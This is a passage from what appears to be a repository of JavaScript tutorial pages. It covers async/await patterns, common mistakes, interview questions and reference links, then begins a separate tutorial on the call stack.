throw error  // Re-throw to let caller handle it\n    // OR: return null  // Return explicit fallback value\n    // OR: return { error: error.message }  // Return error object\n  }\n}\n```\n\n---\n\n## Sequential vs Parallel Execution\n\nThis is a big one. By default, `await` makes operations sequential, but often you want them to run in parallel.\n\n### The Problem: Unnecessary Sequential Execution\n\n```javascript\n// ❌ SLOW - Each request waits for the previous one\nasync function getUserDashboard(userId) {\n  const user = await fetchUser(userId)           // Wait ~500ms\n  const posts = await fetchPosts(userId)         // Wait ~500ms\n  const notifications = await fetchNotifications(userId)  // Wait ~500ms\n  \n  return { user, posts, notifications }\n  // Total time: ~1500ms (sequential)\n}\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     SEQUENTIAL EXECUTION (SLOW)                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  Time:  0ms      500ms     1000ms    1500ms                              │\n│         │         │         │         │                                  │\n│         ├─────────┤         │         │                                  │\n│         │  user   │         │         │  Total: 1500ms                   │\n│         │ fetch   │         │         │                                  │\n│         └─────────┼─────────┤         │                                  │\n│                   │  posts  │         │                                  │\n│                   │ fetch   │         │                                  │\n│                   └─────────┼─────────┤                                  │\n│                             │ notifs  │                                  │\n│                             │ fetch   │                                  │\n│                             └─────────┘                                  │\n│                                                                          │\n│  Each request WAITS for the previous one to complete!                    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### The Solution: Promise.all for Parallel Execution\n\nWhen operations are independent, run them in parallel:\n\n```javascript\n// ✓ FAST - All requests run simultaneously\nasync function getUserDashboard(userId) {\n  const [user, posts, notifications] = await Promise.all([\n    fetchUser(userId),           // Starts immediately\n    fetchPosts(userId),          // Starts immediately\n    fetchNotifications(userId)   // Starts immediately\n  ])\n  \n  return { user, posts, notifications }\n  // Total time: ~500ms (parallel - time of slowest request)\n}\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     PARALLEL EXECUTION (FAST)                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  Time:  0ms      500ms                                                   │\n│         │         │                                                      │\n│         ├─────────┤                                                      │\n│         │  user   │                                                      │\n│         │ fetch   │                                                      │\n│         ├─────────┤  Total: 500ms (3x faster!)                           │\n│         │  posts  │                                                      │\n│         │ fetch   │                                                      │\n│         ├─────────┤                                                      │\n│         │ notifs  │                                                      │\n│         │ fetch   │                                                      │\n│         └─────────┘                                                      │\n│                                                                          │\n│  All requests start at the SAME TIME!                                    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### When to Use Sequential vs Parallel\n\n| Use Sequential When | Use Parallel When |\n|---------------------|-------------------|\n| Each operation depends on the previous result | Operations are independent |\n| Order of execution matters | Order doesn't matter |\n| You need to stop on first failure | All results are needed |\n\n### Promise.all vs Promise.allSettled\n\n**[Promise.all](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all)** fails fast. If any Promise rejects, the whole thing rejects.\n\n**[Promise.allSettled](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled)** waits for all Promises and gives you results for each (fulfilled or rejected).\n\n```javascript\n// Promise.all - fails fast\nasync function getAllOrNothing() {\n  try {\n    const results = await Promise.all([\n      fetchUser(1),\n      fetchUser(999),  // This one fails\n      fetchUser(3)\n    ])\n    return results\n  } catch (error) {\n    // If ANY request fails, we end up here\n    console.log('At least one request failed')\n  }\n}\n\n// Promise.allSettled - get all results regardless of failures\nasync function getAllResults() {\n  const results = await Promise.allSettled([\n    fetchUser(1),\n    fetchUser(999),  // This one fails\n    fetchUser(3)\n  ])\n  \n  // results = [\n  //   { status: 'fulfilled', value: user1 },\n  //   { status: 'rejected', reason: Error },\n  //   { status: 'fulfilled', value: user3 }\n  // ]\n  \n  const successful = results\n    .filter(r => r.status === 'fulfilled')\n    .map(r => r.value)\n    \n  const failed = results\n    .filter(r => r.status === 'rejected')\n    .map(r => r.reason)\n    \n  return { successful, failed }\n}\n```\n\n### Mixed Pattern: Some Sequential, Some Parallel\n\nSometimes you need a mix: some operations depend on others, but independent ones can run in parallel:\n\n```javascript\nasync function processOrder(orderId) {\n  // Step 1: Must fetch order first\n  const order = await fetchOrder(orderId)\n  \n  // Step 2: These can run in parallel (both depend on order, not each other)\n  const [inventory, pricing] = await Promise.all([\n    checkInventory(order.items),\n    calculatePricing(order.items)\n  ])\n  \n  // Step 3: Must wait for both before charging\n  const payment = await processPayment(order, pricing)\n  \n  // Step 4: These can run in parallel (both depend on payment)\n  const [receipt, notification] = await Promise.all([\n    generateReceipt(payment),\n    sendConfirmationEmail(order, payment)\n  ])\n  \n  return { order, payment, receipt }\n}\n```\n\n---\n\n## The 5 Most Common async/await Mistakes\n\n### Mistake #1: Forgetting await\n\nWithout `await`, you get a Promise object instead of the resolved value.\n\n```javascript\n// ❌ WRONG - response is a Promise, not a Response!\nasync function fetchUser() {\n  const response = fetch('/api/user')  // Missing await!\n  const data = response.json()  // Error: response.json is not a function\n  return data\n}\n\n// ✓ CORRECT\nasync function fetchUser() {\n  const response = await fetch('/api/user')\n  const data = await response.json()\n  return data\n}\n```\n\n<Warning>\n**The silent bug:** Sometimes forgetting `await` doesn't throw an error. You just get unexpected results. If you see `[object Promise]` in your output or undefined where you expected data, check for missing awaits.\n</Warning>\n\n### Mistake #2: Using await in forEach\n\n`forEach` and async don't play well together. It just fires and forgets:\n\n```javascript\n// ❌ WRONG - forEach doesn't await!\nasync function processUsers(userIds) {\n  userIds.forEach(async (id) => {\n    const user = await fetchUser(id)\n    console.log(user.name)\n  })\n  console.log('Done!')  // Prints BEFORE users are fetched!\n}\n\n// ✓ CORRECT - Use for...of for sequential\nasync function processUsersSequential(userIds) {\n  for (const id of userIds) {\n    const user = await fetchUser(id)\n    console.log(user.name)\n  }\n  console.log('Done!')  // Prints after all users\n}\n\n// ✓ CORRECT - Use Promise.all for parallel\nasync function processUsersParallel(userIds) {\n  await Promise.all(\n    userIds.map(async (id) => {\n      const user = await fetchUser(id)\n      console.log(user.name)\n    })\n  )\n  console.log('Done!')  // Prints after all users\n}\n```\n\n### Mistake #3: Sequential await When Parallel is Better\n\nWe covered this above, but it's worth repeating:\n\n```javascript\n// ❌ SLOW - 3 seconds total\nasync function getData() {\n  const a = await fetchA()  // 1 second\n  const b = await fetchB()  // 1 second\n  const c = await fetchC()  // 1 second\n  return { a, b, c }\n}\n\n// ✓ FAST - 1 second total\nasync function getData() {\n  const [a, b, c] = await Promise.all([\n    fetchA(),\n    fetchB(),\n    fetchC()\n  ])\n  return { a, b, c }\n}\n```\n\n### Mistake #4: Not Handling Errors\n\nUnhandled Promise rejections can crash your application.\n\n```javascript\n// ❌ WRONG - No error handling\nasync function riskyOperation() {\n  const data = await fetch('/api/might-fail')\n  return data.json()\n}\n\n// If fetch fails, we get an unhandled rejection\nriskyOperation()  // No .catch(), no try/catch\n\n// ✓ CORRECT - Handle errors\nasync function safeOperation() {\n  try {\n    const data = await fetch('/api/might-fail')\n    return data.json()\n  } catch (error) {\n    console.error('Operation failed:', error)\n    return null  // Or throw, or return error object\n  }\n}\n\n// Or catch at the call site\nriskyOperation().catch(err => console.error('Failed:', err))\n```\n\n### Mistake #5: Missing await Before return in try/catch\n\nIf you want to catch errors from a Promise inside a try/catch, you **must** use `await`. Without it, the Promise is returned before it settles, and the catch block never runs:\n\n```javascript\n// ❌ WRONG - catch block won't catch fetch errors!\nasync function fetchData() {\n  try {\n    return fetch('/api/data')  // Promise returned before it settles\n  } catch (error) {\n    // This NEVER runs for fetch errors!\n    console.error('Error:', error)\n  }\n}\n\n// ✓ CORRECT - await lets catch block handle errors\nasync function fetchData() {\n  try {\n    return await fetch('/api/data')  // await IS needed here\n  } catch (error) {\n    console.error('Error:', error)\n    throw error\n  }\n}\n```\n\n**Why does this happen?** When you `return fetch(...)` without `await`, the Promise is immediately returned to the caller. If that Promise later rejects, the rejection happens *outside* the try/catch block, so the catch never sees it.\n\n<Warning>\n**Common misconception:** Some guides say `return await` is redundant. That's only true *outside* of try/catch blocks. Inside try/catch, you need `await` to catch errors from the Promise.\n</Warning>\n\n```javascript\n// Outside try/catch, these ARE equivalent:\nasync function noTryCatch() {\n  return await fetch('/api/data')  // await is optional here\n}\n\nasync function noTryCatchSimpler() {\n  return fetch('/api/data')  // Same result, slightly cleaner\n}\n\n// But inside try/catch, they behave DIFFERENTLY:\nasync function withTryCatch() {\n  try {\n    return await fetch('/api/data')  // Errors ARE caught\n  } catch (e) { /* handles errors */ }\n}\n\nasync function brokenTryCatch() {\n  try {\n    return fetch('/api/data')  // Errors NOT caught!\n  } catch (e) { /* never runs for fetch errors */ }\n}\n```\n\n---\n\n## async/await vs Promise Chains\n\nBoth async/await and Promise chains achieve the same result. The choice often comes down to readability and personal preference.\n\n### Comparison Table\n\n| Aspect | async/await | Promise Chains |\n|--------|-------------|----------------|\n| **Readability** | Looks like sync code | Nested callbacks |\n| **Error Handling** | try/catch | .catch() |\n| **Debugging** | Better stack traces | Harder to trace |\n| **Conditionals** | Natural if/else | Nested .then() |\n| **Early Returns** | Just use return | Have to throw or nest |\n| **Loops** | for/for...of work naturally | Need recursion or reduce |\n\n### When Promise Chains Might Be Better\n\n```javascript\n// Promise chain is more concise for simple transformations\nfetchUser(id)\n  .then(user => user.profileId)\n  .then(fetchProfile)\n  .then(profile => profile.avatarUrl)\n\n// async/await equivalent - more verbose\nasync function getAvatarUrl(id) {\n  const user = await fetchUser(id)\n  const profile = await fetchProfile(user.profileId)\n  return profile.avatarUrl\n}\n\n// Promise.race is cleaner with raw Promises\nconst result = await Promise.race([\n  fetch('/api/main'),\n  timeout(5000)\n])\n\n// Promise chain for \"fire and forget\"\nsaveAnalytics(data).catch(console.error)  // Don't await, just catch errors\n```\n\n### When async/await Shines\n\n```javascript\n// Complex conditional logic\nasync function processOrder(order) {\n  const inventory = await checkInventory(order.items)\n  \n  if (!inventory.available) {\n    await notifyBackorder(order)\n    return { status: 'backordered' }\n  }\n  \n  const payment = await processPayment(order)\n  \n  if (payment.requiresVerification) {\n    await requestVerification(payment)\n    return { status: 'pending_verification' }\n  }\n  \n  await shipOrder(order)\n  return { status: 'shipped' }\n}\n\n// Loops with async operations\nasync function migrateUsers(users) {\n  for (const user of users) {\n    await migrateUser(user)\n    await delay(100)  // Rate limiting\n  }\n}\n\n// Complex error handling\nasync function robustFetch(url, retries = 3) {\n  for (let i = 0; i < retries; i++) {\n    try {\n      return await fetch(url)\n    } catch (error) {\n      if (i === retries - 1) throw error\n      await delay(1000 * (i + 1))  // Exponential backoff\n    }\n  }\n}\n```\n\n---\n\n## Top-Level await\n\n[Top-level await](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await#top-level-await) allows you to use `await` outside of async functions. This only works in ES modules.\n\n```javascript\n// config.js (ES module)\nconst response = await fetch('/config.json')\nexport const config = await response.json()\n\n// main.js\nimport { config } from './config.js'\nconsole.log(config)  // Config is already loaded!\n```\n\n### Where Top-Level await Works\n\n- **ES Modules** (files with `.mjs` extension or `\"type\": \"module\"` in package.json)\n- **Browser `<script type=\"module\">`**\n- **Dynamic imports**\n\n```html\n<!-- In browser -->\n<script type=\"module\">\n  const data = await fetch('/api/data').then(r => r.json())\n  console.log(data)\n</script>\n```\n\n### Use Cases\n\n```javascript\n// 1. Loading configuration before app starts\nexport const config = await loadConfig()\n\n// 2. Dynamic imports\nconst module = await import(`./locales/${language}.js`)\n\n// 3. Database connection\nexport const db = await connectToDatabase()\n\n// 4. Feature detection\nexport const supportsWebGL = await checkWebGLSupport()\n```\n\n<Warning>\n**Careful:** Top-level await blocks the loading of the module and any modules that import it. Use it sparingly, only when you truly need the value before the module can be used.\n</Warning>\n\n---\n\n## Advanced Patterns\n\n### Retry with Exponential Backoff\n\n```javascript\nasync function fetchWithRetry(url, options = {}) {\n  const { retries = 3, backoff = 1000 } = options\n  \n  for (let attempt = 0; attempt < retries; attempt++) {\n    try {\n      const response = await fetch(url)\n      \n      if (!response.ok) {\n        throw new Error(`HTTP ${response.status}`)\n      }\n      \n      return response\n      \n    } catch (error) {\n      const isLastAttempt = attempt === retries - 1\n      \n      if (isLastAttempt) {\n        throw error\n      }\n      \n      // Wait with exponential backoff: 1s, 2s, 4s, 8s...\n      const delay = backoff * Math.pow(2, attempt)\n      console.log(`Attempt ${attempt + 1} failed, retrying in ${delay}ms...`)\n      \n      await new Promise(resolve => setTimeout(resolve, delay))\n    }\n  }\n}\n\n// Usage\nconst response = await fetchWithRetry('/api/flaky-endpoint', {\n  retries: 5,\n  backoff: 500\n})\n```\n\n### Timeout Wrapper\n\n```javascript\nasync function withTimeout(promise, ms) {\n  const timeout = new Promise((_, reject) => {\n    setTimeout(() => reject(new Error(`Timeout after ${ms}ms`)), ms)\n  })\n  \n  return Promise.race([promise, timeout])\n}\n\n// Usage\ntry {\n  const response = await withTimeout(fetch('/api/slow'), 5000)\n  console.log('Success:', response)\n} catch (error) {\n  console.log('Failed:', error.message)  // \"Timeout after 5000ms\"\n}\n```\n\n### Cancellation with AbortController\n\n```javascript\nasync function fetchWithCancellation(url, signal) {\n  try {\n    const response = await fetch(url, { signal })\n    return await response.json()\n  } catch (error) {\n    if (error.name === 'AbortError') {\n      console.log('Fetch was cancelled')\n      return null\n    }\n    throw error\n  }\n}\n\n// Usage\nconst controller = new AbortController()\n\n// Start the fetch\nconst dataPromise = fetchWithCancellation('/api/data', controller.signal)\n\n// Cancel after 2 seconds if not done\nsetTimeout(() => controller.abort(), 2000)\n\nconst data = await dataPromise\n```\n\n### Async Iterators (for await...of)\n\nFor working with streams of async data:\n\n```javascript\nasync function* generateAsyncNumbers() {\n  for (let i = 1; i <= 5; i++) {\n    await new Promise(resolve => setTimeout(resolve, 1000))\n    yield i\n  }\n}\n\n// Consume the async iterator\nasync function processNumbers() {\n  for await (const num of generateAsyncNumbers()) {\n    console.log(num)  // Prints 1, 2, 3, 4, 5 (one per second)\n  }\n}\n```\n\n### Converting Callback APIs to async/await\n\n```javascript\n// Original callback-based API\nfunction readFileCallback(path, callback) {\n  fs.readFile(path, 'utf8', (err, data) => {\n    if (err) callback(err)\n    else callback(null, data)\n  })\n}\n\n// Promisified version\nfunction readFileAsync(path) {\n  return new Promise((resolve, reject) => {\n    fs.readFile(path, 'utf8', (err, data) => {\n      if (err) reject(err)\n      else resolve(data)\n    })\n  })\n}\n\n// Now you can use async/await\nasync function processFile(path) {\n  const content = await readFileAsync(path)\n  return content.toUpperCase()\n}\n\n// Or use util.promisify (Node.js)\nconst { promisify } = require('util')\nconst readFileAsync = promisify(fs.readFile)\n```\n\n---\n\n## Interview Questions\n\n### Question 1: What's the Output?\n\n```javascript\nasync function test() {\n  console.log('1')\n  await Promise.resolve()\n  console.log('2')\n}\n\nconsole.log('A')\ntest()\nconsole.log('B')\n```\n\n<Accordion title=\"Answer\">\n**Output:** `A`, `1`, `B`, `2`\n\n**Explanation:**\n1. `console.log('A')` — synchronous → \"A\"\n2. `test()` is called:\n   - `console.log('1')` — synchronous → \"1\"\n   - `await Promise.resolve()` — pauses test(), schedules continuation as microtask\n   - Returns to caller\n3. `console.log('B')` — synchronous → \"B\"\n4. Call stack empty → microtask runs → `console.log('2')` → \"2\"\n\nThe pattern: Code before `await` runs synchronously. Code after `await` becomes a microtask.\n</Accordion>\n\n### Question 2: Sequential vs Parallel\n\n```javascript\n// Version A\nasync function versionA() {\n  const start = Date.now()\n  const a = await delay(1000)\n  const b = await delay(1000)\n  console.log(`Time: ${Date.now() - start}ms`)\n}\n\n// Version B\nasync function versionB() {\n  const start = Date.now()\n  const [a, b] = await Promise.all([delay(1000), delay(1000)])\n  console.log(`Time: ${Date.now() - start}ms`)\n}\n\nfunction delay(ms) {\n  return new Promise(resolve => setTimeout(resolve, ms))\n}\n```\n\n<Accordion title=\"Answer\">\n**versionA:** ~2000ms (sequential — waits 1s, then another 1s)\n\n**versionB:** ~1000ms (parallel — both delays run simultaneously)\n\nThis is the classic \"sequential vs parallel\" interview question. In versionA, each `await` must complete before the next line runs. In versionB, both Promises are created immediately, then `Promise.all` waits for both to complete while they run in parallel.\n</Accordion>\n\n### Question 3: Error Handling\n\n```javascript\nasync function outer() {\n  try {\n    await inner()\n    console.log('After inner')\n  } catch (e) {\n    console.log('Caught:', e.message)\n  }\n}\n\nasync function inner() {\n  throw new Error('Oops!')\n}\n\nouter()\n```\n\n<Accordion title=\"Answer\">\n**Output:** `Caught: Oops!`\n\n\"After inner\" is never printed because `inner()` throws, which causes the `await inner()` to reject, which jumps to the catch block.\n\nThis demonstrates that async/await error handling works like synchronous try/catch. Errors \"propagate up\" naturally.\n</Accordion>\n\n### Question 4: The forEach Trap\n\n```javascript\nasync function processItems() {\n  const items = [1, 2, 3]\n  \n  items.forEach(async (item) => {\n    await delay(100)\n    console.log(item)\n  })\n  \n  console.log('Done')\n}\n\nfunction delay(ms) {\n  return new Promise(resolve => setTimeout(resolve, ms))\n}\n\nprocessItems()\n```\n\n<Accordion title=\"Answer\">\n**Output:**\n```\nDone\n1\n2\n3\n```\n\n(Not `1`, `2`, `3`, `Done` as you might expect!)\n\n**Why:** `forEach` doesn't wait for async callbacks. It fires off all three async functions and immediately continues to `console.log('Done')`. The numbers print later when their delays complete.\n\n**Fix:** Use `for...of` for sequential or `Promise.all` with `map` for parallel.\n</Accordion>\n\n### Question 5: What's Wrong Here?\n\n```javascript\nasync function getData() {\n  try {\n    return fetch('/api/data')\n  } catch (error) {\n    console.error('Failed:', error)\n    return null\n  }\n}\n```\n\n<Accordion title=\"Answer\">\n**Issue:** The `catch` block will never catch fetch errors.\n\nWhen you `return fetch(...)` without `await`, the Promise is returned *before* it settles. If the fetch later fails, the rejection happens outside the try/catch block.\n\n```javascript\n// ❌ WRONG - catch never runs for fetch errors\nasync function getData() {\n  try {\n    return fetch('/api/data')  // Promise returned immediately\n  } catch (error) {\n    console.error('Failed:', error)  // Never runs!\n    return null\n  }\n}\n\n// ✓ CORRECT - await lets catch block handle errors\nasync function getData() {\n  try {\n    return await fetch('/api/data')  // await IS needed\n  } catch (error) {\n    console.error('Failed:', error)  // Now this runs on error\n    return null\n  }\n}\n```\n\n**Note:** Outside of try/catch, `return await` and `return` behave the same. The `await` only matters when you need to catch errors or do something with the value before returning.\n</Accordion>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **async/await is syntactic sugar over Promises** — it doesn't change how async works, just how you write it\n\n2. **async functions always return Promises** — even if you return a plain value, it's wrapped in Promise.resolve()\n\n3. **await pauses the function, not the thread** — other code can run while waiting; JavaScript stays non-blocking\n\n4. **Code after await becomes a microtask** — it runs after the current synchronous code completes, but before setTimeout callbacks\n\n5. **Use try/catch for error handling** — it works just like synchronous code and catches both sync errors and Promise rejections\n\n6. **await in forEach doesn't work as expected** — use for...of for sequential or Promise.all with map for parallel\n\n7. **Prefer parallel over sequential** — use Promise.all when operations are independent; it's often 2-10x faster\n\n8. **Don't forget await** — without it, you get a Promise object instead of the resolved value\n\n9. **Top-level await only works in ES modules** — not in regular scripts or CommonJS\n\n10. **async/await and Promises are interchangeable** — choose based on readability for your specific use case\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What does the async keyword do to a function?\">\n    **Answer:**\n    \n    The `async` keyword does two things:\n    \n    1. Makes the function **always return a Promise** — even if you return a non-Promise value, it gets wrapped in `Promise.resolve()`\n    2. Enables the use of `await` inside the function\n    \n    ```javascript\n    async function example() {\n      return 42\n    }\n    \n    example().then(value => console.log(value))  // 42\n    console.log(example())  // Promise {<fulfilled>: 42}\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the difference between these two?\">\n    ```javascript\n    // Version A\n    const data = await fetchData()\n    \n    // Version B\n    const data = fetchData()\n    ```\n    \n    **Answer:**\n    \n    - **Version A:** `data` contains the resolved value (e.g., the actual JSON object)\n    - **Version B:** `data` contains a Promise object, not the resolved value\n    \n    Version B is a common mistake that leads to bugs like seeing `[object Promise]` or getting undefined properties.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How do you run async operations in parallel?\">\n    **Answer:**\n    \n    Use `Promise.all()` to run multiple async operations simultaneously:\n    \n    ```javascript\n    // ❌ Sequential (slow)\n    const a = await fetchA()\n    const b = await fetchB()\n    const c = await fetchC()\n    \n    // ✓ Parallel (fast)\n    const [a, b, c] = await Promise.all([\n      fetchA(),\n      fetchB(),\n      fetchC()\n    ])\n    ```\n    \n    For cases where you want all results even if some fail, use `Promise.allSettled()`.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: Why doesn't await work inside forEach?\">\n    **Answer:**\n    \n    `forEach` is not async-aware. It doesn't wait for the callback's Promise to resolve before continuing. It just fires off all the async callbacks and moves on.\n    \n    ```javascript\n    // ❌ Doesn't wait\n    items.forEach(async item => {\n      await processItem(item)\n    })\n    console.log('Done')  // Prints before items are processed!\n    \n    // ✓ Sequential - use for...of\n    for (const item of items) {\n      await processItem(item)\n    }\n    console.log('Done')  // Prints after all items\n    \n    // ✓ Parallel - use Promise.all with map\n    await Promise.all(items.map(item => processItem(item)))\n    console.log('Done')  // Prints after all items\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How do you handle errors in async functions?\">\n    **Answer:**\n    \n    Use `try/catch` blocks, which work just like synchronous error handling:\n    \n    ```javascript\n    async function fetchData() {\n      try {\n        const response = await fetch('/api/data')\n        if (!response.ok) {\n          throw new Error(`HTTP ${response.status}`)\n        }\n        return await response.json()\n      } catch (error) {\n        console.error('Fetch failed:', error)\n        throw error  // Re-throw if caller should handle it\n      } finally {\n        // Cleanup code that always runs\n      }\n    }\n    ```\n    \n    You can also use `.catch()` at the call site: `fetchData().catch(handleError)`\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What's the output order and why?\">\n    ```javascript\n    console.log('1')\n    setTimeout(() => console.log('2'), 0)\n    Promise.resolve().then(() => console.log('3'))\n    async function test() {\n      console.log('4')\n      await Promise.resolve()\n      console.log('5')\n    }\n    test()\n    console.log('6')\n    ```\n    \n    **Answer:** `1`, `4`, `6`, `3`, `5`, `2`\n    \n    **Explanation:**\n    1. `'1'` — synchronous\n    2. `setTimeout` callback → task queue\n    3. `.then` callback → microtask queue\n    4. `test()` called → `'4'` — synchronous part of async function\n    5. `await` → schedules `'5'` as microtask, returns to caller\n    6. `'6'` — synchronous\n    7. Call stack empty → process microtasks: `'3'` then `'5'`\n    8. Microtasks done → process task queue: `'2'`\n    \n    Key: Microtasks (Promises, await continuations) run before macrotasks (setTimeout).\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is async/await in JavaScript?\">\n    Async/await is syntactic sugar introduced in ECMAScript 2017 that makes asynchronous code look and behave like synchronous code. The `async` keyword marks a function as returning a Promise, and `await` pauses execution until that Promise settles. Under the hood, it is still using Promises — await is equivalent to calling `.then()` on the awaited value.\n  </Accordion>\n\n  <Accordion title=\"Is async/await better than using Promises directly?\">\n    Async/await is generally more readable, especially for sequential operations and error handling with try/catch. However, raw Promise methods like `Promise.all()` are still essential for parallel execution. According to the 2023 State of JS survey, async/await is the most widely used async pattern among JavaScript developers, but both approaches have their place.\n  </Accordion>\n\n  <Accordion title=\"How do you handle errors with async/await?\">\n    Wrap your `await` calls in a `try/catch` block. The `catch` block receives the rejection reason, just like `.catch()` in Promise chains. You can also add a `finally` block for cleanup logic. This is one of the biggest advantages of async/await — error handling uses the same familiar syntax as synchronous code.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between sequential and parallel async execution?\">\n    Sequential execution uses `await` on each call one after another — each waits for the previous to complete. Parallel execution uses `Promise.all([...])` to start multiple operations simultaneously. Parallel is faster when operations are independent. A common mistake is accidentally writing sequential code when parallel would be appropriate.\n  </Accordion>\n\n  <Accordion title=\"Can you use await at the top level of a module?\">\n    Yes. Top-level `await` was standardized in ECMAScript 2022 and works in ES modules (files with `type=\"module\"` or `.mjs` extension). It lets you `await` Promises at the module's top scope without wrapping them in an async function. This is useful for dynamic imports, configuration loading, and module initialization.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    async/await is built on Promises. Knowing Promises well makes async/await easier\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    Learn how JavaScript handles async operations and why await creates microtasks\n  </Card>\n  <Card title=\"Callbacks\" icon=\"phone\" href=\"/concepts/callbacks\">\n    The original async pattern that async/await replaced\n  </Card>\n  <Card title=\"Fetch API\" icon=\"cloud\" href=\"/concepts/http-fetch\">\n    The most common use case for async/await: making HTTP requests\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"async function — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function\">\n    Complete reference for async function declarations and expressions\n  </Card>\n  <Card title=\"await — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await\">\n    Documentation for the await operator and its behavior\n  </Card>\n  <Card title=\"Promise — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise\">\n    The foundation that async/await is built on\n  </Card>\n  <Card title=\"try...catch — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch\">\n    Error handling syntax used with async/await\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Async/Await Tutorial\" icon=\"newspaper\" href=\"https://javascript.info/async-await\">\n    The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains.\n  </Card>\n  <Card title=\"How to Use Async/Await in JavaScript\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/javascript-async-await-tutorial-learn-callbacks-promises-async-await-by-making-icecream/\">\n    Learn async patterns by building a virtual ice cream shop. The GIFs comparing sync vs async execution are worth the visit alone.\n  </Card>\n\n  <Card title=\"7 Reasons Why Async/Await Is Better Than Promises\" icon=\"newspaper\" href=\"https://dev.to/gafi/7-reasons-to-always-use-async-await-over-plain-promises-tutorial-4ej9\">\n    Side-by-side code comparisons that show exactly how async/await cleans up promise chains. The debugging section alone is worth bookmarking.\n  </Card>\n  <Card title=\"JavaScript Visualized: Promises & Async/Await\" icon=\"newspaper\" href=\"https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke\">\n    Animated GIFs that show the call stack, microtask queue, and event loop in action. This is how async/await finally \"clicked\" for thousands of developers.\n  </Card>\n  <Card title=\"How to Escape Async/Await Hell\" icon=\"newspaper\" href=\"https://medium.freecodecamp.org/avoiding-the-async-await-hell-c77a0fb71c4c\">\n    The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Async/Await\" icon=\"video\" href=\"https://www.youtube.com/watch?v=V_Kr9OSfDeU\">\n    Web Dev Simplified breaks down async/await in 12 minutes. Perfect if you learn better from watching code being written live.\n  </Card>\n  <Card title=\"Async + Await in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=9YkUCxvaLEk\">\n    Wes Bos at dotJS 2017. An energetic talk that covers async/await patterns with real API calls. The crowd reactions tell you which parts trip people up.\n  </Card>\n  <Card title=\"Asynchronous JavaScript Crash Course\" icon=\"video\" href=\"https://www.youtube.com/watch?v=exBgWAIeIeg\">\n    Traversy Media's full async journey from callbacks through promises to async/await. Great if you want to see how we got here historically.\n  </Card>\n  <Card title=\"Async Await in JavaScript\" icon=\"video\" href=\"https://youtu.be/Gjbr21JLfgg\">\n    Hitesh Choudhary's hands-on walkthrough with coding examples. Hindi and English explanations make concepts accessible to a wider audience.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/call-stack.mdx",
    "content": "---\ntitle: \"Call Stack\"\nsidebarTitle: \"Call Stack: How Function Execution Works\"\ndescription: \"Learn how the JavaScript call stack works. Understand stack frames, LIFO ordering, execution contexts, and stack overflow errors.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"JavaScript Fundamentals\"\n\"article:tag\": \"javascript call stack, execution context, stack overflow, LIFO, function execution, stack frame\"\n---\n\nHow does JavaScript keep track of which function is running? When a function calls another function, how does JavaScript know where to return when that function finishes?\n\nThe answer is the **[call stack](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack)**. It's JavaScript's mechanism for tracking function execution.\n\n```javascript\nfunction greet(name) {\n  const message = createMessage(name)\n  console.log(message)\n}\n\nfunction createMessage(name) {\n  return \"Hello, \" + name + \"!\"\n}\n\ngreet(\"Alice\")  // \"Hello, Alice!\"\n```\n\nWhen `greet` calls `createMessage`, JavaScript remembers where it was in `greet` so it can return there after `createMessage` finishes. The call stack is what makes this possible.\n\n<Info>\n**What you'll learn in this guide:**\n- What the call stack is and why JavaScript needs it\n- How functions are added and removed from the stack\n- What happens step-by-step when your code runs\n- Why you sometimes see \"Maximum call stack size exceeded\" errors\n- How to debug call stack issues like a pro\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes basic familiarity with [JavaScript functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions). If you're new to functions, start there first!\n</Warning>\n\n---\n\n## The Stack of Plates: A Real-World Analogy\n\nImagine you're working in a restaurant kitchen, washing dishes. As clean plates 